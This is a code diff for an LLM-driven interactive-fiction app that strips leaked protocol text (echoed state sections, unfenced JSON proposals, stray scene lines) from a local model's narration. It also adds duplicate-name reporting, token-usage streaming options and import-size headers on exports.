# An unfenced object that starts a line, optionally quoted with `>`, which small
|
||||
# models copy from the player-turn convention.
|
||||
_LINE_OBJECT_RE = re.compile(r"^[ \t]*(?:>[ \t]*)?\{", re.MULTILINE)
|
||||
_QUOTE_PREFIX_RE = re.compile(r"^[ \t]*>[ \t]?")
|
||||
|
||||
|
||||
def _clean(prose: str, *, after_block: bool = False) -> str:
|
||||
"""Removes protocol the block extraction could not, and nothing else.
|
||||
|
||||
Found by the M5 realistic-context run (§12), which is the failure class
|
||||
@@ -126,16 +225,362 @@ def _clean(prose: str) -> str:
|
||||
instruction into the narration, and the reader would have been shown it.
|
||||
Neither case here is hypothetical — both were observed against a real local
|
||||
model.
|
||||
|
||||
The M11 long run found two more, on 42 of 104 turns. The model pasted a copy
|
||||
of the narrative-state section into its prose, and it wrote its proposal
|
||||
unfenced under a bare `State` heading, sometimes quoted, sometimes with more
|
||||
story after it. Stored text is replayed as history, so every leak also
|
||||
showed the next prompt a second, older account of the state, which is what
|
||||
M5 review Finding 4 removed from replayed history.
|
||||
|
||||
v1.1 WP-A2 added four shapes, from the M11 closeout's identity run and the
|
||||
v1 corpus, each anchored to something the application owns rather than to
|
||||
what prose looks like: a line opening with a vocabulary call (R1), the
|
||||
length hint echoed at the end (R2), the renderer's scene line left last
|
||||
(R3), and an empty fence opener left last (R4). `after_block` says a
|
||||
proposal block was already taken out of this reply, which is what lets R3
|
||||
remove a bare scene line that sat above it.
|
||||
"""
|
||||
cleaned = prose
|
||||
bracket = _TRAILING_BRACKET_RE.search(cleaned)
|
||||
if bracket is not None and _is_echoed_instruction(bracket.group(1)):
|
||||
cleaned = cleaned[: bracket.start()]
|
||||
cleaned = _DANGLING_STATE_RE.sub("", cleaned)
|
||||
dangling = _DANGLING_JSON_RE.search(cleaned)
|
||||
if dangling is not None and _reads_as_protocol(dangling.group(1)):
|
||||
cleaned = cleaned[: dangling.start()]
|
||||
return cleaned.strip()
|
||||
cleaned, calls_removed = _strip_event_call_lines(prose)
|
||||
cleaned, _found = _inline_proposals(cleaned)
|
||||
cleaned = _strip_echoed_state(cleaned)
|
||||
protocol_cut = after_block or calls_removed
|
||||
# R5: set once an echoed instruction bracket has come off the end. Only then
|
||||
# may a bracket that merely opens the way the length hint opens be taken as
|
||||
# part of the same echoed tail.
|
||||
instruction_cut = False
|
||||
# The end of the reply is cut until nothing more comes off, because one kind
|
||||
# of leftover can hide another. In a real reply, a `State` heading sat above
|
||||
# a block the model never finished, and a parroted reminder sat above an
|
||||
# unclosed fence.
|
||||
while True:
|
||||
before = cleaned
|
||||
for pattern in (_TRAILING_BRACKET_RE, _UNCLOSED_BRACKET_RE):
|
||||
bracket = pattern.search(cleaned)
|
||||
if bracket is None:
|
||||
continue
|
||||
if _is_echoed_instruction(bracket.group(1)):
|
||||
cleaned = cleaned[: bracket.start()]
|
||||
instruction_cut = True
|
||||
elif instruction_cut and _opens_like_length_hint(bracket.group(1)):
|
||||
cleaned = cleaned[: bracket.start()]
|
||||
cleaned = _DANGLING_STATE_RE.sub("", cleaned)
|
||||
dangling = _DANGLING_JSON_RE.search(cleaned)
|
||||
if dangling is not None and (_reads_as_protocol(dangling.group(1))
|
||||
or _is_opening_of_proposal(dangling.group(1))):
|
||||
cleaned = cleaned[: dangling.start()]
|
||||
cleaned = _strip_dangling_object(cleaned)
|
||||
cleaned = _strip_trailing_state_heading(cleaned).rstrip()
|
||||
# A bare quote marker, the start of a quoted block that never came.
|
||||
cleaned = re.sub(r"\n[ \t]*>[ \t]*\Z", "", cleaned)
|
||||
cleaned = _strip_empty_dangling_fence(cleaned)
|
||||
if cleaned.rstrip() != before.rstrip():
|
||||
protocol_cut = True
|
||||
cleaned = _strip_trailing_scene_line(cleaned, protocol_cut)
|
||||
if cleaned == before:
|
||||
return cleaned.strip()
|
||||
|
||||
|
||||
def _strip_event_call_lines(text: str) -> tuple[str, bool]:
|
||||
"""R1. Removes whole lines that open with a call to a vocabulary event.
|
||||
|
||||
A line inside a fenced code block is the story's own code and is never
|
||||
examined. Returns the text and whether anything was removed.
|
||||
"""
|
||||
kept: list[str] = []
|
||||
in_fence = False
|
||||
removed = False
|
||||
for line in text.split("\n"):
|
||||
if line.lstrip().startswith("```"):
|
||||
in_fence = not in_fence
|
||||
kept.append(line)
|
||||
continue
|
||||
if not in_fence and _EVENT_CALL_LINE_RE.match(line):
|
||||
removed = True
|
||||
continue
|
||||
kept.append(line)
|
||||
if not removed:
|
||||
return text, False
|
||||
return re.sub(r"\n{3,}", "\n\n", "\n".join(kept)), True
|
||||
|
||||
|
||||
def _strip_empty_dangling_fence(text: str) -> str:
|
||||
"""R4. A ```` ```json ```` or ```` ``` ```` opener as the last line, with nothing after it.
|
||||
|
||||
Only an *opener*: the fence lines are counted, and an even count means the
|
||||
last one closes a story's own code block, which stays.
|
||||
"""
|
||||
lines = text.rstrip().split("\n")
|
||||
if len(lines) < 2 or not _EMPTY_FENCE_LINE_RE.fullmatch(lines[-1].strip()):
|
||||
return text
|
||||
fences = sum(1 for line in lines if line.lstrip().startswith("```"))
|
||||
if fences % 2 == 0:
|
||||
return text
|
||||
return "\n".join(lines[:-1]).rstrip()
|
||||
|
||||
|
||||
def _strip_trailing_scene_line(text: str, protocol_cut: bool) -> str:
|
||||
"""R3. The renderer's scene line, left as the last line of the reply.
|
||||
|
||||
Taken when it carries the renderer's own `(at <location>)`, or when protocol
|
||||
was already cut from this reply, which makes a bare scene line part of the
|
||||
same pasted tail. A final screenplay-style "Scene: …" line in a reply with
|
||||
no protocol in it stays, and so does any scene line with story after it.
|
||||
"""
|
||||
lines = text.rstrip().split("\n")
|
||||
if len(lines) < 2:
|
||||
return text
|
||||
last = lines[-1].strip()
|
||||
if not last.startswith(render.HEADING_SCENE + " "):
|
||||
return text
|
||||
if not (_RENDERED_SCENE_LOCATION_RE.search(last) or protocol_cut):
|
||||
return text
|
||||
return "\n".join(lines[:-1]).rstrip()
|
||||
|
||||
|
||||
def explain_removed_line(line: str) -> str | None:
|
||||
"""Which v1.1 rule removes a line of this shape, for the replay report.
|
||||
|
||||
None means no v1.1 rule explains it, which the replay treats as a failure.
|
||||
"""
|
||||
stripped = line.strip()
|
||||
if _EVENT_CALL_LINE_RE.match(line):
|
||||
return RULE_EVENT_CALL
|
||||
if stripped.startswith("["):
|
||||
inner = stripped[1:]
|
||||
inner = inner[:-1] if inner.endswith("]") else inner
|
||||
if _is_length_hint(inner):
|
||||
return RULE_LENGTH_HINT
|
||||
if _is_echoed_instruction(inner) or _opens_like_length_hint(inner):
|
||||
return RULE_INSTRUCTION_TAIL
|
||||
if stripped.startswith(render.HEADING_SCENE + " "):
|
||||
return RULE_SCENE_LINE
|
||||
if _EMPTY_FENCE_LINE_RE.fullmatch(stripped):
|
||||
return RULE_EMPTY_FENCE
|
||||
return None
|
||||
|
||||
|
||||
def _is_state_heading(line: str) -> bool:
|
||||
return bool(_STATE_HEADING_RE.match(line))
|
||||
|
||||
|
||||
def _strip_trailing_state_heading(text: str) -> str:
|
||||
lines = text.rstrip().split("\n")
|
||||
if lines and _is_state_heading(lines[-1]):
|
||||
return "\n".join(lines[:-1])
|
||||
return text
|
||||
|
||||
|
||||
def _strip_dangling_object(text: str) -> str:
|
||||
"""Cuts an unfenced proposal the model never finished, and what follows it.
|
||||
|
||||
A reply that runs into the output-token limit mid-block ends inside the
|
||||
object, often a quoted one. That happened on 10 of 104 turns in the M11 long
|
||||
run. The object never closes, so `_inline_proposals` cannot take it. The
|
||||
candidate is the outermost object that stays unclosed, not the last line
|
||||
that opens one. Its finished event objects open lines too, and they close,
|
||||
so cutting at the last of them left the list above it in the story. It is
|
||||
cut when it reads as protocol (`_reads_as_protocol`), the same test a
|
||||
truncated ```json fence has to pass.
|
||||
"""
|
||||
skip_until = 0
|
||||
for match in _LINE_OBJECT_RE.finditer(text):
|
||||
line_start = match.start()
|
||||
if line_start < skip_until:
|
||||
continue
|
||||
body = "\n".join(_QUOTE_PREFIX_RE.sub("", line, count=1)
|
||||
for line in text[line_start:].split("\n"))
|
||||
closing = _object_end(body, body.find("{"))
|
||||
if closing is None:
|
||||
return text[:line_start] if _reads_as_protocol(body) else text
|
||||
# Quote markers came off `body`, so this position is never past the
|
||||
# real end of the object. A line inside the object that is examined
|
||||
# anyway closes inside it, and is passed over too.
|
||||
skip_until = line_start + closing
|
||||
return text
|
||||
|
||||
|
||||
# The markdown a model wraps a heading in: `## Established:`, `**Held:**`,
|
||||
# `> Held:`.
|
||||
_HEADING_DECORATION_RE = re.compile(r"^[\s#>*_]+|[\s*_]+$")
|
||||
|
||||
|
||||
def _section_heading(line: str) -> str | None:
|
||||
"""The state-section heading this line is, markdown aside, or None."""
|
||||
bare = _HEADING_DECORATION_RE.sub("", line)
|
||||
return bare if bare in render.SECTION_HEADINGS else None
|
||||
|
||||
|
||||
def _strip_echoed_state(text: str) -> str:
|
||||
"""Removes a copy of the narrative-state section pasted into the prose.
|
||||
|
||||
Judged by the section's own headings (`render.SECTION_HEADINGS`) as whole
|
||||
lines, with any markdown the model wrapped them in taken off. A block
|
||||
qualifies when it carries two headings, or one and the scene line directly
|
||||
above it, or one heading with an indented entry under it. That last case
|
||||
is the model writing a section of its own: the M04 re-run found
|
||||
`## Established:` over two indented facts on 5 turns, one of them copying
|
||||
the planted clue out of the state section. A lone "Held:" with prose after
|
||||
it is still somebody's story. The block runs over the headings, their
|
||||
indented entries and the blank lines between them, and stops at the first
|
||||
line of ordinary prose.
|
||||
"""
|
||||
lines = text.split("\n")
|
||||
drop = [False] * len(lines)
|
||||
index = 0
|
||||
while index < len(lines):
|
||||
if _section_heading(lines[index]) is None:
|
||||
index += 1
|
||||
continue
|
||||
start = index
|
||||
above = index - 1
|
||||
while above >= 0 and not lines[above].strip():
|
||||
above -= 1
|
||||
scene = above >= 0 and (
|
||||
lines[above].strip() == render.HEADING_SCENE
|
||||
or lines[above].lstrip().startswith(render.HEADING_SCENE + " ")
|
||||
)
|
||||
if scene:
|
||||
start = above
|
||||
headings: set[str] = set()
|
||||
entries = 0
|
||||
end = index
|
||||
cursor = index
|
||||
while cursor < len(lines):
|
||||
line = lines[cursor]
|
||||
stripped = line.strip()
|
||||
heading = _section_heading(line)
|
||||
if heading is not None:
|
||||
headings.add(heading)
|
||||
end = cursor
|
||||
elif stripped and line[:1] in (" ", "\t"):
|
||||
entries += 1
|
||||
end = cursor
|
||||
elif stripped:
|
||||
break
|
||||
cursor += 1
|
||||
if len(headings) + (1 if scene else 0) >= 2 or (headings and entries):
|
||||
for position in range(start, end + 1):
|
||||
drop[position] = True
|
||||
index = end + 1
|
||||
if not any(drop):
|
||||
return text
|
||||
kept = "\n".join(line for line, gone in zip(lines, drop) if not gone)
|
||||
return re.sub(r"\n{3,}", "\n\n", kept)
|
||||
|
||||
|
||||
def _object_end(text: str, start: int) -> int | None:
|
||||
"""Where the JSON object opening at `start` closes, strings respected."""
|
||||
depth, in_string, escaped = 0, False, False
|
||||
for position in range(start, len(text)):
|
||||
char = text[position]
|
||||
if in_string:
|
||||
if escaped:
|
||||
escaped = False
|
||||
elif char == "\\":
|
||||
escaped = True
|
||||
elif char == '"':
|
||||
in_string = False
|
||||
elif char == '"':
|
||||
in_string = True
|
||||
elif char == "{":
|
||||
depth += 1
|
||||
elif char == "}":
|
||||
depth -= 1
|
||||
if depth == 0:
|
||||
return position + 1
|
||||
return None
|
||||
|
||||
|
||||
def _inline_proposals(text: str) -> tuple[str, list[tuple[dict, str]]]:
|
||||
"""Removes unfenced proposals that start a line, and returns them.
|
||||
|
||||
A candidate must parse and must be a proposal (`_looks_like_proposal`), the
|
||||
same bar as a bare trailing object. JSON a character wrote stays where it
|
||||
is. A quoted candidate is read with its `>` markers taken off, across the
|
||||
consecutive quoted lines. A candidate with prose after it on its closing
|
||||
line is not on its own lines, and is left alone. A bare `State` heading
|
||||
directly above a removed proposal goes with it.
|
||||
|
||||
Returns the text without them, and `(parsed, raw)` for each, oldest first.
|
||||
"""
|
||||
found: list[tuple[dict, str]] = []
|
||||
cuts: list[tuple[int, int]] = []
|
||||
# Candidates are taken outermost first. A line inside an object already
|
||||
# examined is part of that object, and a proposal's own event lines open
|
||||
# objects too, so one of them must never be taken as a proposal by itself.
|
||||
# An object that never closes runs to the end of the text, so everything
|
||||
# after it is inside it.
|
||||
skip_until = 0
|
||||
for match in _LINE_OBJECT_RE.finditer(text):
|
||||
line_start = match.start()
|
||||
if line_start < skip_until:
|
||||
continue
|
||||
line_end = text.find("\n", line_start)
|
||||
line_end = len(text) if line_end == -1 else line_end
|
||||
if _QUOTE_PREFIX_RE.match(text[line_start:line_end]):
|
||||
# Gather the quoted run, unquote it, and find the object inside.
|
||||
spans, cursor = [], line_start
|
||||
while cursor < len(text):
|
||||
stop = text.find("\n", cursor)
|
||||
stop = len(text) if stop == -1 else stop
|
||||
if not _QUOTE_PREFIX_RE.match(text[cursor:stop]):
|
||||
break
|
||||
spans.append((cursor, stop))
|
||||
cursor = stop + 1
|
||||
body_lines = [_QUOTE_PREFIX_RE.sub("", text[a:b], count=1) for a, b in spans]
|
||||
body = "\n".join(body_lines)
|
||||
opening = body.find("{")
|
||||
closing = _object_end(body, opening)
|
||||
if closing is None:
|
||||
break
|
||||
consumed = body[:closing].count("\n")
|
||||
region_end = spans[consumed][1]
|
||||
skip_until = region_end
|
||||
if body[closing:].split("\n", 1)[0].strip():
|
||||
continue
|
||||
raw = body[opening:closing]
|
||||
else:
|
||||
opening = match.end() - 1
|
||||
closing = _object_end(text, opening)
|
||||
if closing is None:
|
||||
break
|
||||
rest = text.find("\n", closing)
|
||||
rest = len(text) if rest == -1 else rest
|
||||
skip_until = rest
|
||||
if text[closing:rest].strip():
|
||||
continue
|
||||
raw = text[opening:closing]
|
||||
region_end = rest
|
||||
parsed = _tolerant_load(raw)
|
||||
if not _looks_like_proposal(parsed):
|
||||
continue
|
||||
region_start = line_start
|
||||
before = text[:line_start].rstrip("\n").rstrip()
|
||||
heading_start = before.rfind("\n") + 1
|
||||
if before and _is_state_heading(before[heading_start:]):
|
||||
region_start = heading_start
|
||||
cuts.append((region_start, region_end))
|
||||
found.append((parsed, raw))
|
||||
if not cuts:
|
||||
return text, found
|
||||
pieces, cursor = [], 0
|
||||
for start, end in cuts:
|
||||
pieces.append(text[cursor:start])
|
||||
cursor = end
|
||||
pieces.append(text[cursor:])
|
||||
return re.sub(r"\n{3,}", "\n\n", "".join(pieces)), found
|
||||
|
||||
|
||||
def _is_opening_of_proposal(tail: str) -> bool:
|
||||
"""Whether a truncated fence stopped before it could say what it was.
|
||||
|
||||
`{` followed by nothing but the start of `"events"`. The output limit cut
|
||||
one reply there, before `_reads_as_protocol` had anything to go on. A
|
||||
story's own code block is not that short, and one that is holds nothing to
|
||||
lose."""
|
||||
body = tail.strip()
|
||||
return body.startswith("{") and '"events"'.startswith(body[1:].strip())
|
||||
|
||||
|
||||
def _reads_as_protocol(tail: str) -> bool:
|
||||
@@ -180,7 +625,7 @@ def split(text: str) -> tuple[str, dict | None, str]:
|
||||
if matches:
|
||||
match = matches[-1]
|
||||
raw = match.group(1).strip()
|
||||
prose = _clean(text[: match.start()] + text[match.end():])
|
||||
prose = _clean(text[: match.start()] + text[match.end():], after_block=True)
|
||||
return prose, _tolerant_load(raw), raw
|
||||
|
||||
# A `json` or unlabelled fence is ours only when its contents are this
|
||||
@@ -194,7 +639,7 @@ def split(text: str) -> tuple[str, dict | None, str]:
|
||||
raw = match.group(1).strip()
|
||||
parsed = _tolerant_load(raw)
|
||||
if _looks_like_proposal(parsed) or _reads_as_protocol(raw):
|
||||
prose = _clean(text[: match.start()] + text[match.end():])
|
||||
prose = _clean(text[: match.start()] + text[match.end():], after_block=True)
|
||||
return prose, parsed, raw
|
||||
|
||||
match = _TRAILING_RE.search(text)
|
||||
@@ -202,14 +647,34 @@ def split(text: str) -> tuple[str, dict | None, str]:
|
||||
raw = match.group(1)
|
||||
parsed = _tolerant_load(raw)
|
||||
if _looks_like_proposal(parsed):
|
||||
return _clean(text[: match.start()]), parsed, raw
|
||||
return _clean(text[: match.start()], after_block=True), parsed, raw
|
||||
|
||||
# An unfenced proposal on its own lines but not at the end: quoted, or
|
||||
# followed by more story. The last one is the turn's proposal, as with
|
||||
# fences, and every one leaves the prose.
|
||||
without, found = _inline_proposals(text)
|
||||
if found:
|
||||
parsed, raw = found[-1]
|
||||
return _clean(without, after_block=True), parsed, raw
|
||||
|
||||
# No block at all — but the reply may still carry protocol the model wrote
|
||||
# as prose, or a fence it never closed.
|
||||
cleaned = _clean(text)
|
||||
if cleaned != text.strip():
|
||||
return cleaned, None, text.strip()[len(cleaned):].strip()
|
||||
return cleaned, None, ""
|
||||
whole = text.strip()
|
||||
if cleaned == whole:
|
||||
return cleaned, None, ""
|
||||
# What came off is kept for the audit when it was protocol: an unfinished
|
||||
# block, a parroted reminder, or a fence. A pasted copy of the state section
|
||||
# is not a proposal, so a reply with nothing else removed records no block.
|
||||
# That keeps the turn from being marked unparseable for a block it never
|
||||
# started.
|
||||
if whole.startswith(cleaned):
|
||||
removed = whole[len(cleaned):].strip()
|
||||
keep = (_reads_as_protocol(removed) or "```" in removed
|
||||
or removed.startswith("["))
|
||||
return cleaned, None, removed if keep else ""
|
||||
# Text also came out of the middle, so what was removed is not one suffix.
|
||||
return cleaned, None, whole if _reads_as_protocol(whole) else ""
|
||||
|
||||
|
||||
def _looks_like_proposal(parsed) -> bool:
|
||||
|
||||
@@ -202,6 +202,43 @@ def entities_of_type(state: dict, wanted: str) -> dict:
|
||||
}
|
||||
|
||||
|
||||
def duplicate_names(state) -> dict[str, list[str]]:
|
||||
"""Entities that share a display name, keyed by the name they share.
|
||||
|
||||
M11, post-M8 finding D. Two people in one scene were narrated as though
|
||||
"Alice" were two different Alices, and the root cause could not be
|
||||
established because the campaign was gone. One structural fact was
|
||||
establishable by reading the code, and this is it: entities are keyed by the
|
||||
id the model supplies, `DUPLICATE_ENTITY` rejects only a repeated *key*, and
|
||||
nothing anywhere looks at `name`. Two entities called Alice are therefore
|
||||
legal, silent, and exactly what the reader described seeing.
|
||||
|
||||
**This reports; it does not refuse.** Two people called Alice is an ordinary
|
||||
thing for a story to contain — a mother and a daughter, a stranger who gives
|
||||
a false name — and refusing it would refuse legitimate fiction in order to
|
||||
guard against a model mistake. What was missing was not a rule but a signal:
|
||||
nobody could see that it had happened. The identity diagnostic reads this,
|
||||
the state panel can show it, and the decision stays the reader's.
|
||||
|
||||
Names are compared case-insensitively and stripped, because "Alice" and
|
||||
"alice " are the same person to a reader and to a narrator, which is the
|
||||
level the confusion happens at. Entities with no name are ignored: an
|
||||
unnamed entity is not competing for a name with anything.
|
||||
"""
|
||||
entities = (state or {}).get("entities")
|
||||
if not isinstance(entities, dict):
|
||||
return {}
|
||||
seen: dict[str, list[str]] = {}
|
||||
for key, value in entities.items():
|
||||
if not isinstance(value, dict):
|
||||
continue
|
||||
name = str(value.get("name") or "").strip().lower()
|
||||
if not name:
|
||||
continue
|
||||
seen.setdefault(name, []).append(key)
|
||||
return {name: keys for name, keys in seen.items() if len(keys) > 1}
|
||||
|
||||
|
||||
# --------------------------------------------------------------- possessions
|
||||
|
||||
def owner_of(state: dict, item_key: str) -> str | None:
|
||||
|
||||
@@ -23,6 +23,23 @@ PROMPT_FACTS = 30
|
||||
PROMPT_RELATIONSHIPS = 20
|
||||
PROMPT_THREADS = 12
|
||||
|
||||
# The headings of `for_prompt`, each a whole line. `extract` recognises a copy of
|
||||
# this section pasted into a narration by these, so they are named once here and
|
||||
# the two cannot drift apart. A small local model reproduced the section in its
|
||||
# prose on 42 of 104 turns in the first M01 run with the memory bank on.
|
||||
HEADING_SCENE = "Scene:"
|
||||
HEADING_ENTITIES = "Who and what exists:"
|
||||
HEADING_HELD = "Held:"
|
||||
HEADING_FACTS = "Established:"
|
||||
HEADING_WITHDRAWN = "No longer true — do not treat these as established:"
|
||||
HEADING_RELATIONSHIPS = "Between them:"
|
||||
HEADING_THREADS = "Still open:"
|
||||
#: Every heading except the scene's, which also opens the line it heads.
|
||||
SECTION_HEADINGS = (
|
||||
HEADING_ENTITIES, HEADING_HELD, HEADING_FACTS, HEADING_WITHDRAWN,
|
||||
HEADING_RELATIONSHIPS, HEADING_THREADS,
|
||||
)
|
||||
|
||||
|
||||
def for_prompt(state) -> str:
|
||||
"""The current state as the narrator is shown it.
|
||||
@@ -38,7 +55,7 @@ def for_prompt(state) -> str:
|
||||
scene = document.get("scene") or {}
|
||||
if scene.get("summary") or scene.get("location"):
|
||||
where = scene.get("location")
|
||||
head = "Scene: " + str(scene.get("summary") or "").strip()
|
||||
head = f"{HEADING_SCENE} " + str(scene.get("summary") or "").strip()
|
||||
if where:
|
||||
head += f" (at {model.entity_name(document, where)})"
|
||||
lines.append(head.strip())
|
||||
@@ -46,14 +63,14 @@ def for_prompt(state) -> str:
|
||||
entities = document["entities"]
|
||||
if entities:
|
||||
lines.append("")
|
||||
lines.append("Who and what exists:")
|
||||
lines.append(HEADING_ENTITIES)
|
||||
for key, entity in entities.items():
|
||||
lines.append(f" {key}: {_entity_line(document, key, entity)}")
|
||||
|
||||
possessions = document["possessions"]
|
||||
if possessions:
|
||||
lines.append("")
|
||||
lines.append("Held:")
|
||||
lines.append(HEADING_HELD)
|
||||
for item, owner in sorted(possessions.items()):
|
||||
lines.append(
|
||||
f" {model.entity_name(document, item)} — "
|
||||
@@ -63,7 +80,7 @@ def for_prompt(state) -> str:
|
||||
facts = model.active_facts(document)
|
||||
if facts:
|
||||
lines.append("")
|
||||
lines.append("Established:")
|
||||
lines.append(HEADING_FACTS)
|
||||
for fact in facts[-PROMPT_FACTS:]:
|
||||
lines.append(f" {_fact_line(document, fact)}")
|
||||
|
||||
@@ -74,7 +91,7 @@ def for_prompt(state) -> str:
|
||||
withdrawn = model.withdrawn_facts(document)
|
||||
if withdrawn:
|
||||
lines.append("")
|
||||
lines.append("No longer true — do not treat these as established:")
|
||||
lines.append(HEADING_WITHDRAWN)
|
||||
for fact in withdrawn[-PROMPT_FACTS:]:
|
||||
line = f" {_fact_line(document, fact)}"
|
||||
reason = fact.get("invalidated_reason")
|
||||
@@ -85,7 +102,7 @@ def for_prompt(state) -> str:
|
||||
relationships = model.active_relationships(document)
|
||||
if relationships:
|
||||
lines.append("")
|
||||
lines.append("Between them:")
|
||||
lines.append(HEADING_RELATIONSHIPS)
|
||||
for relationship in relationships[-PROMPT_RELATIONSHIPS:]:
|
||||
lines.append(
|
||||
f" {model.entity_name(document, relationship['source'])} "
|
||||
@@ -96,7 +113,7 @@ def for_prompt(state) -> str:
|
||||
threads = model.open_threads(document)
|
||||
if threads:
|
||||
lines.append("")
|
||||
lines.append("Still open:")
|
||||
lines.append(HEADING_THREADS)
|
||||
for key, thread in list(threads.items())[:PROMPT_THREADS]:
|
||||
lines.append(f" {key}: {thread.get('title', key)}")
|
||||
|
||||
|
||||
@@ -26,6 +26,10 @@ EMBED_READ_TIMEOUT = 60.0
|
||||
|
||||
|
||||
|
||||
#: v1.1 WP-A1: ask a stream to report its token usage. Without it Ollama sends
|
||||
#: none, and a prompt the server cut cannot be told from one it read whole.
|
||||
STREAM_OPTIONS = {"include_usage": True}
|
||||
|
||||
# Completion endpoints have no roles, so a chat has to be flattened into one
|
||||
# labeled transcript that ends on "Assistant:" for the model to continue.
|
||||
_ROLE_LABELS = {"system": "System", "user": "User", "assistant": "Assistant"}
|
||||
@@ -84,10 +88,14 @@ class OpenAICompatibleProvider(Provider):
|
||||
def _record_usage(self, payload: dict) -> None:
|
||||
"""Records the endpoint's own token accounting, if it reported any.
|
||||
|
||||
OpenRouter now always reports usage, and `usage: {include: true}` and
|
||||
`stream_options` are deprecated and do nothing. In a stream the usage
|
||||
arrives on a final chunk that carries no choices, which is why this is
|
||||
read separately from the text extraction.
|
||||
In a stream the usage arrives on a final chunk that carries no choices,
|
||||
which is why this is read separately from the text extraction.
|
||||
|
||||
v1.1 WP-A1: Ollama sends that chunk only when asked. Measured on Ollama
|
||||
0.33: a stream with no `stream_options` carried no usage at all, and not
|
||||
one of the 514 AI turns in the v1 evidence had a count stored. Every
|
||||
streaming body therefore sets `stream_options.include_usage`
|
||||
(`STREAM_OPTIONS`), and the turn compares the count with what it sent.
|
||||
"""
|
||||
usage = payload.get("usage")
|
||||
if isinstance(usage, dict) and usage:
|
||||
@@ -102,6 +110,7 @@ class OpenAICompatibleProvider(Provider):
|
||||
"temperature": temperature,
|
||||
"max_tokens": max_tokens,
|
||||
"stream": True,
|
||||
"stream_options": dict(STREAM_OPTIONS),
|
||||
}
|
||||
else:
|
||||
url = f"{self.base_url}/chat/completions"
|
||||
@@ -114,6 +123,7 @@ class OpenAICompatibleProvider(Provider):
|
||||
"temperature": temperature,
|
||||
"max_tokens": max_tokens,
|
||||
"stream": True,
|
||||
"stream_options": dict(STREAM_OPTIONS),
|
||||
}
|
||||
return url, body
|
||||
|
||||
@@ -183,6 +193,7 @@ class OpenAICompatibleProvider(Provider):
|
||||
"temperature": temperature,
|
||||
"max_tokens": max_tokens,
|
||||
"stream": True,
|
||||
"stream_options": dict(STREAM_OPTIONS),
|
||||
}
|
||||
else:
|
||||
url = f"{self.base_url}/chat/completions"
|
||||
@@ -192,6 +203,7 @@ class OpenAICompatibleProvider(Provider):
|
||||
"temperature": temperature,
|
||||
"max_tokens": max_tokens,
|
||||
"stream": True,
|
||||
"stream_options": dict(STREAM_OPTIONS),
|
||||
}
|
||||
async for event in self._stream(url, body):
|
||||
yield event
|
||||
|
||||
@@ -42,6 +42,7 @@ from . import ( # noqa: F401
|
||||
memories,
|
||||
actions,
|
||||
knowledge,
|
||||
visuals,
|
||||
)
|
||||
from ... import limits # noqa: F401 `adventures.limits` is patched by tests.
|
||||
from .crud import SNIPPET_MAX, _snippet
|
||||
|
||||
@@ -1,10 +1,36 @@
|
||||
"""Exporting an adventure to a bundle, and importing one back.
|
||||
|
||||
`app/bundle.py` owns the format and the version handling. These two endpoints
|
||||
only check ownership and hand the work over.
|
||||
only check ownership, apply the caps, and hand the work over.
|
||||
|
||||
## Why the import is one transaction and two phases
|
||||
|
||||
`bundle.plan` reads the whole file and returns a checked, normalised tree
|
||||
without opening a session, touching a row or creating an adventure. Everything a
|
||||
hand-edited file can get wrong about its own shape — a node on a branch that is
|
||||
not listed, a fork from a branch listed after it, a head past the story, an
|
||||
audit record naming a turn that is not there — is a 400 from a function with no
|
||||
side effects.
|
||||
|
||||
Only then does `bundle.materialize` write, and it writes inside the single
|
||||
transaction this endpoint commits at the end. So there are exactly two outcomes
|
||||
a caller can see, and M9 requires them to be distinguishable:
|
||||
|
||||
the authoritative import failed 4xx, and no campaign exists
|
||||
the authoritative import succeeded 201, and the campaign is complete
|
||||
|
||||
A third state — the campaign landed and a *rebuildable* index did not — is not a
|
||||
failure of the import and does not roll it back. Passages, the lexical index and
|
||||
vectors are all a deterministic function of content the file carries, so losing
|
||||
them costs a rebuild rather than data. It is reported on the response as a
|
||||
warning, it is visible per source in the Knowledge panel, and Reindex is the
|
||||
repair. Refusing a whole campaign because a search index would not build would
|
||||
trade the valuable thing for the cheap one.
|
||||
"""
|
||||
|
||||
from fastapi import Body, Depends, Request
|
||||
import json
|
||||
|
||||
from fastapi import Body, Depends, Request, Response
|
||||
from sqlalchemy.orm import Session
|
||||
|
||||
from ... import bundle, head, limits, models, schemas
|
||||
@@ -18,15 +44,45 @@ def export_adventure(
|
||||
db: Session = Depends(get_db),
|
||||
adv: models.Adventure = Depends(current_adventure),
|
||||
):
|
||||
"""Returns a full backup: plot components, story cards, scripts, state, and tree.
|
||||
"""Returns a full backup: the story, the tree, the state, and the evidence.
|
||||
|
||||
`app/bundle.py` owns the format, in both of its versions. A backup outlives
|
||||
the schema, so no call site decides anything about its shape.
|
||||
`app/bundle.py` owns the format, in all three of its versions. A backup
|
||||
outlives the schema, so no call site decides anything about its shape.
|
||||
|
||||
**v1.1 WP-D: the export also says whether this version could import it back.**
|
||||
A campaign large enough to pass `limits.MAX_IMPORT_BODY_BYTES` still exports —
|
||||
the file is complete and not damaged, and refusing to write it would destroy
|
||||
the only copy the reader was trying to make. What it cannot do is come back
|
||||
in here, and the reader is told that at the moment they take it rather than
|
||||
at the moment they need it.
|
||||
|
||||
It travels in headers, not in the body. The body is the bundle, the browser
|
||||
saves exactly those bytes as the file, and a warning inside it would become
|
||||
part of a portable story file and of every checksum taken over one.
|
||||
|
||||
The size measured is the compact serialisation, because that is both what
|
||||
this response sends and what the browser POSTs back on import, which is what
|
||||
`BodySizeLimitMiddleware` weighs. The pretty-printed file the reader
|
||||
downloads is larger, and is not what import reads.
|
||||
"""
|
||||
return bundle.export(db, adv)
|
||||
payload = bundle.export(db, adv)
|
||||
# Serialised exactly as Starlette's JSONResponse would, so the bytes counted
|
||||
# are the bytes sent.
|
||||
body = json.dumps(payload, ensure_ascii=False, allow_nan=False,
|
||||
separators=(",", ":")).encode("utf-8")
|
||||
limit = limits.MAX_IMPORT_BODY_BYTES
|
||||
importable = len(body) <= limit
|
||||
headers = {
|
||||
"X-Export-Bytes": str(len(body)),
|
||||
"X-Import-Limit-Bytes": str(limit),
|
||||
"X-Importable-By-This-Version": "true" if importable else "false",
|
||||
}
|
||||
if not importable:
|
||||
headers["X-Export-Warning"] = limits.oversized_export_warning(len(body), limit)
|
||||
return Response(content=body, media_type="application/json", headers=headers)
|
||||
|
||||
|
||||
@router.post("/import", response_model=schemas.AdventureOut, status_code=201)
|
||||
@router.post("/import", response_model=schemas.ImportedAdventureOut, status_code=201)
|
||||
def import_adventure(
|
||||
request: Request,
|
||||
payload: dict = Body(...),
|
||||
@@ -58,18 +114,29 @@ def import_adventure(
